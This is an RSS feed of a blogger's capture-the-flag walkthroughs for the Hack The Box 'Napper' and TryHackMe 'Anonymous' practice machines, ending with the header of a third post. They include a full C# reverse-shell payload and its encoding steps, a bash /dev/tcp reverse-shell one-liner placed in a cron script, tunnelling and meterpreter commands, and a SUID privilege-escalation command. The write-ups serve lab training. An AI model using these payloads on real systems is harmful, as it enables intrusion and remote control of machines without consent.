<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by The_leman_provider on Medium]]></title>
        <description><![CDATA[Stories by The_leman_provider on Medium]]></description>
        <link>https://medium.com/@4tharva?source=rss-7abe939ce2f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zRaqHuDJEeT2V2adIix_5A.jpeg</url>
            <title>Stories by The_leman_provider on Medium</title>
            <link>https://medium.com/@4tharva?source=rss-7abe939ce2f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:26:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@4tharva/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Napper Hack The Box Walk Through]]></title>
            <link>https://medium.com/@4tharva/napper-hack-the-box-walk-through-6fc675c3847f?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fc675c3847f</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Thu, 14 Mar 2024 18:58:25 GMT</pubDate>
            <atom:updated>2024-03-14T18:58:25.598Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*z1oXDEFBC0LWMFV5MJtJJw.png" /><figcaption>Yes I love cats</figcaption></figure><p>This has been a pain for a long time so here I start this write-up with some initial warnings, but you can always skip this part and start with steps as it will save you time and you will find it getting easier as you move forward that is with perfect payload and what are we exactly reverse engineering. This lab will suck all your patient if your brain fails to corporate with the mental torture it is going to give you. But I am sure this write-up is enough detailed to walk you through the lab all by itself that is this single write-up will explain what is going on and where I found the thing that I will be working on in this one blog itself so read it through.</p><h3><strong>Following are the steps we will follow:-</strong></h3><p>1: Scan the system to know what it is while adding it to the host&#39;s file and what exactly to add.</p><p>2: Brute forcing the directories to find potential start points.</p><p>3: Reading through the blogs to get authenticated into the newly witnessed directory/subdomain.</p><p>4: Understanding more about what is going on in the new domain and what where the individuals exploring.</p><p>5: Forging a perfect payload that will throw us a shabby reverse shell.</p><p>6: Enumerating the new access to move further and forward the port.</p><p>7: Analysing the exe file and reverse engineering it for further access. ( this is a long process I divided it into small steps but still failed it a bit).</p><p>8: Extracting credentials for the elastic user and the actual way I found them( I am already sorry for this )</p><p>9: Logging into elastic Domain and extracting blob hash and seed to decode the backup user&#39;s hash ( I am proud and thankful to our open-source community for this one).</p><p>10: Log in as the backup user and “Owari” just cd to Administrator and our root.txt is here.</p><h4><strong>1: Scan the system</strong></h4><p>As our basics, we will first hit our target face with Nmap. This is what I got and just take a look and you can skip this step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10zfu2lfnGTrVX8WvdJ5_g.png" /></figure><p>So it says that it runs only web app ports so even if we find any other users&#39; credentials we will not be able to login via ssh, smb as it is a Windows machine “Remember this it will be pointed out further.</p><p>For now, we can see the name clearly of the website in the common name section so let&#39;s add it to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Txh4HGlQEaMSuq6B10MNQ.png" /></figure><p>make sure you add the “<em>app.napper.htb</em>” and also the one I have added for the same IP address you got from HTB cause you will need it for the payload struggle further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYPeDQaVlIGnj8bBoLfA8Q.png" /></figure><p>If you visit the site you will see a lot of blogs being shown and when it&#39;s a web app with blogs on it you are meant to read those blogs as they are worthy of some mistakes made by the editor of the posts. The blogs do suggest that they are researching malware and how to reverse-engineer them so if have done a lot of labs and CTF these posts are more like a hint that some test subjects are lying in the host machine and so you should abuse those.</p><h4><strong>2: Brute forcing the directories</strong></h4><p>But we will still follow our basics of enumeration and as we had seen a web app we will hit it with fuzzer to find a good way to find our door of access. I used fuff and here is how it looks and you can skip this step too as the result is here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKq5zUhZI5E8okzZsWYljw.png" /></figure><p>So it does have a different domain to look in. Let&#39;s first add the domain to the host&#39;s file with the same IP and visit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*MFeBK8UtSA3LN0VVbxdS1g.png" /></figure><p>Great that&#39;s too early to ask for credentials we have just started !!!!.</p><h4><strong>3: Reading through the blogs to get authenticated:-</strong></h4><p>Now for this, the previous blogs will help us here. I had a look around and found a post particularly speaking about a step-by-step authentication setup for IIS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-MFMpDNnwe2zMmH3tMbQVQ.png" /></figure><p>And if kept reading further down you will find this small execution of command to set up the username and password for authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gf51_xTnfTMu_DBz6e58kQ.png" /></figure><p>So assuming that they kept credentials the same and didn&#39;t update them later in future I tried using them for our “<em>internal.napper”</em> domain and they worked just like a cup of coffee for constipation. Ya, it had the same level of satisfaction.</p><h4><strong>4: Understanding more about what is going on in the new domain</strong></h4><p>This is how the internal domain looks after logging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O4dNc7DWiSImCEO-M04ENw.png" /></figure><p>Another Blog post interface with the same CSS applied.</p><p>Even though it doesn&#39;t look that promising I assure you such protected places are not basic rabbit holes. So I started reading through the blog as there was only one worthy of reading and found something interesting in the “<strong><em>internal malware research notes”, </em></strong>You can see that in the image above. It says that a user Ruben was researching the malware found on Elastic named NAPLISTENER and you will find more as you read further.</p><pre>EndPoinnt :- /ews/MsExgHealthCheckd<br><br>Example :- POST /ews/MsExgHealthCheckd HTTP/2<br><br>parameter :- sdafwe3rwe23= </pre><p>This particular endpoint listens for any requests sent on this parameter so we will need to forge a request that sends something to this and point and see if it works or not using burp to confirm its potential for our efforts. You can go through the reference links at the bottom of the blog.</p><p>From the info, our request looks like this and it works like a charm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bf1_RVm6BYvdj9JVXvhYFA.png" /></figure><p>A 200 ok suggests that it works.</p><h4><strong>5: Forging a perfect payload</strong></h4><p>This is the part where people were struggling with a lot and there are some reasons for it.</p><p>The reference links suggest that the Naplistner will decode a C# payload and execute it for us. Now the only challenge left for us is to create a C# revser shell payload that will work when sent in Base64 encoded format. You can use the following <a href="https://www.revshells.com/">link</a> to get your payload configured with your IP address. But this payload also needs some changes.</p><p>The important changes are:-</p><ol><li>Make sure that the namespace and file name are the same.</li><li>It should have a run class and create a constructor that will hold your payload inside it due to which whenever the main functions get executed it will trigger the shell inside the constructor to run.</li></ol><p>If that all confuses you here use this payload just change your IP.</p><pre>using System;<br>using System.Text;<br>using System.IO;<br>using System.Diagnostics;<br>using System.ComponentModel;<br>using System.Linq;<br>using System.Net;<br>using System.Net.Sockets;<br><br>namespace Paylaod<br>{<br> public class Run<br> {<br>  static StreamWriter streamWriter;<br><br>  public Run()<br>  {<br>   using(TcpClient client = new TcpClient(&quot;YouIPHere_and_keep_the_Couts&quot;, 9001))<br>   {<br>    using(Stream stream = client.GetStream())<br>    {<br>     using(StreamReader rdr = new StreamReader(stream))<br>     {<br>      streamWriter = new StreamWriter(stream);<br><br>      StringBuilder strInput = new StringBuilder();<br><br>      Process p = new Process();<br>      p.StartInfo.FileName = &quot;cmd&quot;;<br>      p.StartInfo.CreateNoWindow = true;<br>      p.StartInfo.UseShellExecute = false;<br>      p.StartInfo.RedirectStandardOutput = true;<br>      p.StartInfo.RedirectStandardInput = true;<br>      p.StartInfo.RedirectStandardError = true;<br>      p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);<br>      p.Start();<br>      p.BeginOutputReadLine();<br><br>      while(true)<br>      {<br>       strInput.Append(rdr.ReadLine());<br>       //strInput.Append(&quot;\n&quot;);<br>       p.StandardInput.WriteLine(strInput);<br>       strInput.Remove(0, strInput.Length);<br>      }<br>     }<br>    }<br>   }<br>  }<br><br>  public static void Main(string[] args)<br>  {<br>   new Run();<br>  }<br><br>  private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)<br>        {<br>            StringBuilder strOutput = new StringBuilder();<br><br>            if (!String.IsNullOrEmpty(outLine.Data))<br>            {<br>                try<br>                {<br>                    strOutput.Append(outLine.Data);<br>                    streamWriter.WriteLine(strOutput);<br>                    streamWriter.Flush();<br>                }<br>                catch (Exception err) { }<br>            }<br>        }<br> }<br>}</pre><p>But just to know what happened try generating one from the site above and compare this one with the generated one and you will know what I was speaking about.</p><p>Ok, now we created the perfect payload we need to compile it with mcs.\</p><p>It&#39;s a mono compiler and yes finding and installing this compiler was also a pain for me earlier but Don&#39;t worry guys I got you, here are the steps to install it.</p><pre>sudo apt install mono-devel</pre><p>This one command should give you the compiler you need but if it fails you can go through this <a href="https://www.mono-project.com/download/stable/#download-lin-debian">link </a>and figure out what&#39;s wrong.</p><p>With all the tools set let&#39;s compile it now with the following command.</p><pre>mcs -out:Paylaod.exe Paylaod.cs</pre><p>This will generate an exe file that still can&#39;t be passed directly, obviously, we can&#39;t pass an exe file with our request</p><p>Now for the remaining part, as we know <strong>naplistener </strong>will decode the payload and then execute it so we will encode it with the following command into a base64.</p><pre>base64 -w 0 ./Payload.exe</pre><p>This will provide you with an output looking like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EujsxFqeaS9kMAsSPGGAng.png" /></figure><p>We still are not done, some of you will use this payload past it in the parameter, send the request and wait staring at your netcat to see a pop-up of reverse shell. But it will not work and the reason is this payload still has some symbols that will be filtered out when sending the request which means that the payload will lose its integrity till it reaches the napplistner and will fail to run as expected.</p><p>OK then lest solve it, It is quite simple we will just URL encode the output we see after execution of the base64 command, that way the filter will not remove those symbols and our payload will run smooth like BTS. You can use this <a href="https://www.urlencoder.org/">website</a> to URL encode it. For me, it looked like this.</p><figure><img alt="This is after ecoding" src="https://cdn-images-1.medium.com/max/798/1*6ymP9ziStiLHB4E-b9L7GA.png" /><figcaption><strong>This is after encoding.</strong></figcaption></figure><p>Now you can use this polished payload to get yourself a reverse shell and it has to work.</p><p>This is how it looks in a burp request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s5DsKC3tTgmc2XMcXreeYA.png" /></figure><p>make sure that the highlighted endpoint and host are right and Netcat listener is running on the accurate port for the above payload it was 9001.</p><p>Just After sending the request I instantly got the connection on my Netcat with user Ruben.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cz89sZZizjeOuvPHw5XEIA.png" /></figure><p>Phew that was a lot just for user.txt but that&#39;s why this lab is painful and also in the Hard category.</p><p>If You did all right you got your user.txt congrats.</p><h4><strong>6: Enumerating the new access to move further.</strong></h4><p>Now when it comes to the privilege escalation part for a target with a website running on it it&#39;s always worth checking if there exists a www folder and in this case, there is a www folder in the temp directory which on investigating further also has a folder similar to the domain we found by fuff earlier the “internal” one and this folder had only one specific folder that allows us to change and as it belongs to the temp directory so you can execute anything here. In this suspicious directory, you will find a.exe and .env files. These files play an important role in further privilege escalation.</p><pre>#this is the directory you can directly copy and cd to the final point.<br><br><br>&gt; C:\Temp\www\internal\content\posts\internal-laps-alpha&gt; <br><br><br></pre><p>If you type out the env file you will locate that a (9200) port is running and that port has elastic search running on it and we need to forward this port to our attacker machine&#39;s local port.</p><pre><br><br>&gt; C:\Temp\www\internal\content\posts\internal-laps-alpha&gt;type .env<br><br>ELASTICUSER=user<br>ELASTICPASS=DumpPassword\$Here<br>ELASTICURI=https://127.0.0.1:9200</pre><p>At this point, all your basic tunnelling tech seems old and you will need to use and learn a different kind of tool called Chisel which has an apt package for Linux but you will need an exe version of it for the Windows target machine, ya I know where you can find It “<a href="https://github.com/jpillora/chisel/releases">here</a>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X37NlI0Q57g2CClnlE_1DA.png" /></figure><p>Just download it on your Linux machine and extract it and you will find yourself an executable file for Chisel now the only work left is to transfer it to the Windows machine and execute some basic commands. I recommend upgrading to a meterpretere shell using a msfvenom payload cause that way you will have an easy way to duplicate shell access it is also important for further uses, so let&#39;s do that first.</p><p><em>( the one with experience go ahead and skip this step but if want to know what payload I used here is the image)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FjXJpXCtG7GwsznvLzRFvQ.png" /></figure><p>I used the following payload as it will be simple to upgrade later and guarantee a better rate of success, now we will use a Python HTTP server to transfer the payload and Certutil to download the payload from the server. here is how it looks.</p><p>Python command:-</p><pre>#For python :- <br><br>$python -m SimpleHTTPServer 9000<br><br>#For python3 :-<br><br>$python3 -m http.server 9000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcbE0hdO7j4hE88NN1QaQQ.png" /></figure><p>Now start a msfconsole session, use the multi-handler module, set Lhost and the payload to the previous msfvenom payload and run the module. Now run the transferred shell.exe we sent and a basic-looking shell will be given to you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qtU2GevpZw-wK1nM2ycmg.png" /></figure><p>Now we will get a stable meterperter shell. With which you can transfer the chisel.exe file to the target machine.</p><p>Now let&#39;s forward the port for further access.</p><pre>#Command to be run on attacker machine<br><br>./chisel64 server -p 8000 --reverse </pre><pre>#Command to be run on target machien<br><br>chisel64.exe client 10.10.14.20:8000 R:9200</pre><p>The output for the above commands will look something like this</p><p>For target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbOATMUvCG42El1UwKanxw.png" /><figcaption>My exe file has a different name cause I saved it with a different name.</figcaption></figure><p>For attacker machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tChnd5hIqTFN1tDv0Ynj3g.png" /></figure><p>You can even read better documentation for Chisel <a href="https://exploit-notes.hdks.org/exploit/network/port-forwarding/port-forwarding-with-chisel/">here</a>, a little bit of exploring it is always great.</p><p>Now let&#39;s take a look at the forwarded port and what it renders for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F7dJ2JyVeb8PtkXpak4ViQ.png" /></figure><p>Great it was secured, At this point, I was already frustrated due to the pain in payload and now where the hell is the credentials?</p><p>Now why exactly are we forwarding the elastic search port:- cause napper was fired through an elastic search endpoint and you can see this reference in the links provided in the blogs posted the reference links provided below the same blog and also The room itself made it obvious and also the “<em>.env</em>” file seems to have credentials for elastic login.</p><h4><strong>7: Analysing the exe file.</strong></h4><p>So our close shot will be to analyse a suss file in the same directory as .env file we found earlier. So we will need to transfer this file to our attacker machine to study it but the target machine doesn&#39;t seem to have Python installed maybe I didn&#39;t check it correctly but this is where our meterpreter access will shine and one more point this file is quite big so you may need to increase the response time for you meterpreter sessions. Here is the command.</p><pre># 1 is the sessios id and we will se the response time to 2 min.<br><br>sessions --intract 1 --timeout 120 </pre><p>Now let&#39;s get the file with it. It will take a bit of a while to transfer. Let&#39;s take a look at it using Ghidra. Once you open you will be provided with a rough idea that it is Golang based executable file and just in case you don&#39;t know GO based executables are one of the hardest to decompile or reverse engineer. After completing building a go exe it ends up as a huge binary file including all library files in that one single executable which reduces dependency issues for malware to execute, also many security hardening application fails to perform optimally on large files which makes it great at avoiding detection.</p><p>So now the question is how are we dealing with this file and what can make our work easy? For this purpose, we can use an extension for our Ghidra boy to make our work easy. You can get it from <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension/releases">here</a>.</p><p>Download your self the latest one and set it to the list of extensions. The steps to do that are described below.</p><p>Navigate to:-</p><p>File -&gt; Install Extensions... -&gt; Add extension -&gt; Select zip file</p><p>restart Ghidra to fire the extension.</p><p>You can also see the use guide of the extension on their repository page <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">here</a>.</p><p>So all set and ready but what to do next? Well, I am quite bad at reverse engineering malware but I tried moving along the application and found this main.main file and it did mention those variables which store the elasticsearch credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BJZjzmbOR2XPF0nwN8rpg.png" /></figure><p>Tracing back the actual function that fetches the credentials for this function i.e Getenv function and retracing that function and which file it is using to fetch the credentials I located something that was obvious here take a look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnglcLA7E8pNWZXvRdOsTw.png" /></figure><p>It gets them from the .env file itself. But when I tried those credentials mentioned in the .env file it didn’t work and it just made me frustrated that all this work looks more useless so far and yields nothing but just proof that they use the credentials from .env file which is of no use and another thing that this following exe updates the password of user backup on time intervals and was encrypting the password with a specific seed.</p><h4><strong>8: Extracting credentials for the elastic user</strong></h4><p>At this point, after demanding the community for better hints and trying to reverse engineer the malware it just led to multiple failures and made me give up to find a way around cause being months old machine the community didn&#39;t feel active for the threads created for decision.</p><p>But when I tried looking for more things that were done to take access to the user backup I stumbled upon a script used by a player of this room who created this script used it to get the updated and decrypted password of the backup user while using the access to Elastic search we forwarded on the local host. In this script, there was a request being passed that contained the credentials of the elastic account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWPc9ilVrOYBAPf_B3OwDQ.png" /></figure><p>After decrypting this base64 I eventually found the credentials for the elastic account. You can find this script <a href="https://github.com/0tonoon/Napper_Script/blob/main/Pass_script">here</a>.</p><p>You are free to judge my approach to get the credentials but tracking the root.txt was kind of difficult for me from a community that has already moved on from this lab and the issues it had. At this point in the moment, I wasn&#39;t even sure if was the lab messed up by a player or if I missed something I was supposed to investigate I am extremely sorry for taking such an approach but so far I had spent a huge amount of time just to go through the exe file. But if someone from the readers knows what and how it was supposed to be done then plz comment on that it will be a great help for me and my dumb brain to make things happen the right way.</p><h4><strong>9: Logging into Elastic Domain</strong></h4><p>With the newly obtained credentials, I log in to the Elastic user account and work my way through it to find something through my own efforts.</p><p>I located the seed and also the backup user hash.</p><p>Seed and hash were found on the directory called _search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*do4VTvKMstQ3J79Pofz-Bw.png" /></figure><p>The hash for use backup was on the home page itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YsF1L8xuBLXW1DxxnV-bfA.png" /></figure><h4><strong>10: Log in as the backup user:-</strong></h4><p>The script mentioned above is self-sufficient to give provide you the credentials for the backup user here is the execution process</p><ol><li>First, copy the script code save it as a .go file on the target machine and provide it execution access with chmod +x command.</li></ol><p>2. Now just execute the file and make sure that the chisel is working as we will send a request that will try to access the elastic search through our localhost and earlier forwarded Port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SsKN773pEr5zzmQT6RcdVA.png" /></figure><p>This script is efficient cause it can provide you with the correct password even after the a.exe file updates the password for the backup user.</p><p>Now with the “<em>decrypted”</em> password, you will need to find a way to log in as the backup user and that is the challenge because this machine has no other ports/services open to communicate with.</p><p>This last challenge can be overcome by using Runascs.exe file which we will need to transfer to the host machine and also another payload generated by msfvenome to use it with Runas.exe there are some catches here that even after being in the temp directory may fail sometimes so it is better to place them in the directory that contains a.exe file.</p><p>Use your meterprete access to transfer the executable and the payload to the exact directory start msfconsole and use multi-handler module on the attacker machine after which execute the following command on the target machine you will get such output on the target machine assuring that it executed correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ry4u4VbpaMcKNq2Dq50I5w.png" /></figure><pre>runascs.exe backup backupusershachhere hell.exe -t 8 --bypass-uac</pre><p>and you get access to the backup user shell on the msfconsole looking something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OqzK39WKGhXd1RJqYeVGg.png" /></figure><p>Phewwww that was long tooo. Now the only thing left is to move our ass to the admin user desktop and retrieve the root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZR2S5rwPzMQgETWjlJwZ1w.png" /></figure><p>For some reason, my root flag wasn&#39;t submitted if one of you knows why that happened then plx help this poor singular brain cell holder.</p><p>And that is Done. Hope I did a bit better for this one a it helped you a bit to solve through this lab. I had a huge chaos of rage and frustration while going through this lab which maybe say that I need to study more and work hard on how to approach certain things,</p><p>Hope You enjoyed and, Sayonara</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*pu6_2uGVC2q9uMQxnRdnqQ.png" /></figure><p>Ara Ara…You complete it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fc675c3847f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous Try hack me a walkthrough]]></title>
            <link>https://medium.com/@4tharva/anonymous-try-hack-me-a-walkthrough-4ec3101f500f?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ec3101f500f</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[medium]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Mon, 26 Feb 2024 14:08:54 GMT</pubDate>
            <atom:updated>2024-02-26T14:08:54.374Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*QaSjhsgBvx2wrnbm3NKtbw.png" /></figure><p>This blog is more of a simple follow-through to solve the room just is “<strong>5</strong>” simple steps:-</p><p>1: Nmap</p><p>2: Ftp</p><p>3: File and reverse shell upload</p><p>4: User.txt</p><p>5: Root.txt</p><p><strong>Here we go</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*rG4n-DGoqovut67ali850w.jpeg" /></figure><h3>1: Nmap</h3><p>So I started with a simple basic Nmap scan with service and basic script switches for extra port scan results and as it is just a CTF we can use an aggressive scan to, we will not get sued for it 😁</p><pre>nmap -sC -sV -A $IP </pre><p>the results I got with it just relaxed my mind and spat out only one word simple.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*InC-7bxmdAy8tI7avzhwkg.png" /></figure><p>Open FTP !!! “Arigato oni-chan 🤣”</p><p>let&#39;s see some more for the -A switch we used as we still need to answer the question “What service is running on 445 and 139?”, even though the answer was obvious to get it <strong>SMB</strong> cause of the port numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*JM_1wagek0mjAkF7DWyoVQ.png" /></figure><p>The Next questionThe Next question was about Shares on the system, so how will we get them? Easy use of an NMAPscript for SMB shares while narrowing the ports to 445 only. Ya sure here is the command</p><pre>Nmap $IP -p455 --script smb-enum-shares </pre><p>And again, I got a good verbose result. Need to know more about Nmap scripts then guide yourself <a href="https://nmap.org/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*4JgOvrhGWYt_tuXZz_q3sA.png" /></figure><p>Yooooo we have pics 😈. Don&#39;t get excited but the shared folder is cute if you visit and check. I am skipping over that part 😅. Trust me it&#39;s not any good salivating 🤤 pics or some steganography stuff it&#39;s just a big rabbit hole. Anyway, let&#39;s move to the next part.</p><h3>2: Ftp</h3><p>So I was cunning Fox and directly went for the FTP NULL<br>(anonymous) login this is what I found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*D6n7IUWK1kHYSOIT-cMVVw.png" /></figure><p>A to-do file in the scripts directory, how neet of a user to show his love for us by showing us his day-to-day tasks. Anyway, let&#39;s take a look at what it reads out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*SGjmKiKH1sTAklwidY66CQ.png" /></figure><p>Ohhhh you are right my boy. But things don’t get completed just by putting them on the to-do list😐. So a friendly “COMPLETE YOUR TO_DO LIST”.</p><p>Ok, all that is done and thrown aside cause it is useless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*fo5YJNtNUpnpvpVz.gif" /></figure><p><strong>3: File and reverse shell upload</strong></p><p>Let&#39;s take a look at the other files. “clean.sh,” This is what it has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*btYt4NsdwniXK8QQEJqmqw.png" /></figure><p>It is a bash script that most of the time is our welcome doors to the host machines. This script here cleans the tmp directory which has temporary files. Ok looks interesting we can manipulate it for our benefit but how will we execute it? cause FTP has only get, put, and edit functionality. If you want to know more about FTP commands just type “?” on your FTP just like you are saying to FTP like “What now ?”. Here take a look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*RWlPJdXvYPwbp-0nkzFBog.png" /></figure><p>Now we can edit the script to get a reverse shell but it will not work unless someone executes it for us such as a person on the host machine or the machine itself with a cron job. Which it does !! list more like friendly fire 😅. By our loyal cron job to his beloved host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*foCE07X_ZAPMS7krLNY0xw.gif" /></figure><p><strong>4: User.txt</strong></p><p>We can confirm this by checking the remove_log file after reading it multiple times the entries kept increasing after every attempt. It seems that the script is being executed repeatedly. Lookkkkiiiie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*fcc7ufRwz6eSwbBLAer69g.png" /></figure><p>so I edited the script to something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*ZSd_M_9NABgJGw3c9EUmWg.png" /></figure><p>The line in blue is just a bash one-liner reverse shell payload and if you need it here it is. And if you want more such payloads try looking <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">here</a>.</p><pre>       bash -i &gt;&amp; /dev/tcp/UR_IP_Address_Here/8080 0&gt;&amp;1</pre><p>This payload worked like a charm, and we immediately got a reverse connection on my Netcat listener.</p><p>Make sure to save the file with the same name and not to change it as if updated it will not be recognized by the cron job which will run this script for us</p><p>To push this newly created file with our payload towards the FTP service running on the target, we will append this file with the original clean.sh file on the FTP and that&#39;s the only way I found to be working as uploading a new one didn&#39;t work that well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*WHe9hVAJHvyGPAgLtQr4YQ.png" /></figure><p>Once you get the reverse shell you will get cheezy access to the user.txt file and then just submit it walla done for one.</p><p><strong>5: Root.txt</strong></p><p>Now let&#39;s move next towards the root.txt. So part is simple for me cause a privilege escalation is a place where your subconscious brain tells you where and what is wrong 🧐 so take a look at what my flat twist-less brain did🙄. So let&#39;s see what user we are and what group he belongs to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*vjvxMPjU6K2q3BzTkzDjxQ.png" /></figure><p>So he belongs to the lxd group hmm, easy there is a way to get to root through it but maybe let&#39;s be a bit thorough with our enumeration for misconfiguration. I also did the bare-bone sudo -l command but nothing interesting was found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*7FKPA35LzMa8ufNbvazo-g.png" /></figure><p>So is started with my basic scans and found this in the SUID files with the command below and I was happy that I didn&#39;t get in a rush with the lxd group thing. I thought there would be an internal network and pivoting and all but maybe they don&#39;t exist here, but there exists a misconfigured sudi /env/. I located this misconfigured file with a find command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rk7EPoWP_NM0KmUmwWNcMg.png" /></figure><pre> find / -user root -perm /4000 2&gt;/dev/null</pre><p><em>if you want to know more about privilege escalation with a manual approach you can read </em><a href="https://medium.com/@4tharva/manual-privilege-esc-enumeration-f6359d7a74aa"><em>this </em></a><em>short blog which will even explain to you how permission and file access work in Linux and don&#39;t mind if the ostrich stares at you.</em></p><p># ENV SUDI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMNvayCgO6S_jjjqmyDUAQ.png" /></figure><p>This file/service allows you to run a program in a modified environment you want to know more about it then <a href="https://man7.org/linux/man-pages/man1/env.1.html">here </a>is the man page.</p><p>Now let&#39;s proceed with privilege escalation. Actually, it&#39;s just one command 😅 and you get what you want. Here this is the command and you can find all such commands <a href="https://gtfobins.github.io/">here.</a></p><pre>/usr/bin/env /bin/sh -p</pre><p>Ya, this command gives you an instance access to root. Now what? go enjoy ur easy food by hackers just submit it and take a rest you worked hard.</p><p>Here is the POC:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XZIEZdwt8Z4g0UvxHkGy0g.png" /></figure><p>And there it is guy. Maybe try solving <a href="https://www.hackthebox.com/machines/surveillance">this </a>Hack the Box room next it is a bit tuff and will test your skills <a href="https://medium.com/@4tharva/hack-the-box-surveillance-lab-walkthrough-8ace86c261a4">here </a>I have a writeup for it too.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ec3101f500f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box Surveillance Lab Walkthrough]]></title>
            <link>https://medium.com/@4tharva/hack-the-box-surveillance-lab-walkthrough-8ace86c261a4?source=rss-7abe939ce2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ace86c261a4</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[surveillance]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[The_leman_provider]]></dc:creator>
            <pubDate>Thu, 01 Feb 2024 13:17:43 GMT</pubDate>
